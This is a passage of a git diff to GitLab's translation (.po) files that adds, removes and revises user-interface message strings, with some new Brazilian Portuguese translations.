-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39713,6 +40371,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39908,15 +40572,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr "Rozpocznij recenzjÄ™"
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -40406,18 +41070,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40634,6 +41316,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40652,7 +41337,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40673,9 +41358,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -41166,15 +41848,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -41205,6 +41878,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -41479,9 +42167,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41739,6 +42424,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41890,6 +42578,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -42094,6 +42785,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -42442,6 +43136,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42544,21 +43241,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42781,6 +43484,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42856,9 +43562,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -43063,7 +43766,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -43509,6 +44212,13 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43725,7 +44435,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -44022,24 +44732,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -44146,15 +44844,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -44326,6 +45021,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -44368,6 +45066,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44548,6 +45249,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44587,6 +45291,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44656,6 +45363,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44818,15 +45528,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44857,15 +45561,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44923,24 +45621,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44968,9 +45654,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44989,15 +45672,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -45154,6 +45831,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -45212,6 +45892,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -45386,9 +46072,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -45455,10 +46138,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45626,10 +46309,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45821,6 +46501,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45833,9 +46516,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45905,6 +46585,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -46003,6 +46686,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -46037,6 +46723,9 @@ msgstr[3] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -46049,6 +46738,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -46073,9 +46765,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46808,10 +47497,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -47263,9 +47952,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -47354,6 +48055,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -47363,7 +48067,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -47396,7 +48100,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -47450,6 +48154,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -47471,6 +48181,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47577,6 +48293,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47709,9 +48428,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47802,6 +48518,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47841,9 +48560,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47859,7 +48575,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47952,7 +48668,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47983,6 +48699,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -48100,6 +48819,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -48253,8 +48975,12 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
msgid "YouTube"
msgstr ""
@@ -48494,6 +49220,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -48521,7 +49250,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48600,6 +49329,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48807,6 +49539,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -49051,10 +49786,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -49213,9 +49951,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49716,9 +50451,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -50243,6 +50975,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -50330,12 +51065,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50764,6 +51493,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/pt_BR/gitlab.po b/locale/pt_BR/gitlab.po
index 6c72111e1c8..3e61f3f05f5 100644
--- a/locale/pt_BR/gitlab.po
+++ b/locale/pt_BR/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: pt-BR\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-11 07:03\n"
+"PO-Revision-Date: 2023-01-10 06:46\n"
msgid " %{start} to %{end}"
msgstr " %{start} até %{end}"
@@ -512,13 +512,13 @@ msgid "%{chartTitle} no data series"
msgstr ""
msgid "%{codeStart}$%{codeEnd} will be treated as the start of a reference to another variable."
-msgstr ""
+msgstr "%{codeStart}$%{codeEnd} será tratado como o início de uma referência a outra variável."
msgid "%{code_open}Expanded:%{code_close} Variables with %{code_open}$%{code_close} will be treated as the start of a reference to another variable."
-msgstr ""
+msgstr "%{code_open}Expandido:%{code_close} Variáveis com %{code_open}$%{code_close} serão tratadas como o início de uma referência a outra variável."
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
-msgstr "%{code_open}Mascarado:%{code_close} Escondidos nos logs de tarefas. Deve corresponder a requisitos de mascaramento."
+msgstr "%{code_open}Mascarado:%{code_close} Escondidos nos registros de tarefas. Deve corresponder a requisitos de mascaramento."
msgid "%{code_open}Protected:%{code_close} Only exposed to protected branches or protected tags."
msgstr "%{code_open}Protegido:%{code_close} Somente exposto a ramificações ou tags."
@@ -750,6 +750,9 @@ msgstr "%{italic_start}Novidades%{italic_end} está inativo e não pode ser vist
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr "%{itemsCount} issues com um limite de %{maxIssueCount}"
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr "%{labelStart}Resposta atual:%{labelEnd} %{headers}"
@@ -822,6 +825,9 @@ msgstr "%{level_name} não é permitido em um grupo %{group_level_name}."
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr "%{level_name} não é permitido, pois o projeto de origem do fork possui menor visibilidade."
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr "%{link_start}Remova o %{draft_snippet} prefixo%{link_end} do título para permitir que este merge seja feito assim que estiver disponível."
@@ -953,6 +959,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr "%{ref} não pode ser adicionado: %{error}"
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] "%{releases} lançamento"
@@ -970,6 +982,11 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] "%{requireStart}Requer%{requireEnd} %{approvalsRequired} %{approvalStart}aprovação%{approvalEnd} de: %{approverType}%{approvers}"
+msgstr[1] "%{requireStart}Requer%{requireEnd} %{approvalsRequired} %{approvalStart}aprovações%{approvalEnd} de: %{approverType}%{approvers}"
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr "%{retryButtonStart}Tente novamente%{retryButtonEnd} ou %{newFileButtonStart}anexe um novo arquivo%{newFileButtonEnd}."
@@ -1008,9 +1025,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] "%{selectedProjectsCount} projeto"
msgstr[1] "%{selectedProjectsCount} projetos"
-msgid "%{size} %{unit}"
-msgstr "%{size} %{unit}"
-
msgid "%{size} GiB"
msgstr "%{size} GiB"
@@ -1116,11 +1130,6 @@ msgstr "%{template_project_id} é desconhecido ou inválido"
msgid "%{text} is available"
msgstr "%{text} está disponível"
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr "%{timebox_type} não suporta o gráfico de burnup"
@@ -1541,9 +1550,9 @@ msgstr[0] "1 papel"
msgstr[1] "%d papéis"
msgid "1 user"
-msgid_plural "%{num} users"
-msgstr[0] "1 usuário"
-msgstr[1] "%{num} usuários"
+msgid_plural "%d users"
+msgstr[0] ""
+msgstr[1] ""
msgid "1 week remaining"
msgid_plural "%d weeks remaining"
@@ -1712,10 +1721,10 @@ msgid "A new email address has been added to your GitLab account: %{email}"
msgstr "Um novo endereço de e-mail foi adicionado à sua conta do GitLab: %{email}"
msgid "A new personal access token has been created"
-msgstr ""
+msgstr "Um novo token de acesso pessoal foi criado"
msgid "A new personal access token, named %{token_name}, has been created."
-msgstr ""
+msgstr "Um novo token de acesso pessoal com o nome %{token_name}, foi criado."
msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
msgstr "Um épico não confidencial não pode ser atribuído a um épico pai confidencial"
@@ -1768,6 +1777,9 @@ msgstr "Um rebase já está em andamento."
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr "Um login na sua conta foi feito a partir do seguinte endereço IP: %{ip}"
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr "Título é obrigatório"
@@ -1912,9 +1924,6 @@ msgstr "ID da chave de acesso da AWS (opcional)"
msgid "AWS secret access key (Optional)"
msgstr "Chave de acesso secreta da AWS (opcional)"
-msgid "AWS service error: %{error}"
-msgstr "Erro de serviço de AWS: %{error}"
-
msgid "Abort"
msgstr "Abortar"
@@ -1963,9 +1972,6 @@ msgstr "Tokens de acesso"
msgid "Access denied for your LDAP account."
msgstr "Acesso negado para sua conta LDAP."
-msgid "Access denied: %{error}"
-msgstr "Acesso negado: %{error}"
-
msgid "Access expires"
msgstr "Expiração de acesso"
@@ -2125,8 +2131,8 @@ msgstr "Ações"
msgid "Activate Service Desk"
msgstr "Ativar Central de Serviços"
-msgid "Activated on"
-msgstr "Ativado em"
+msgid "Activated"
+msgstr "Ativado"
msgid "Active"
msgstr "Ativo"
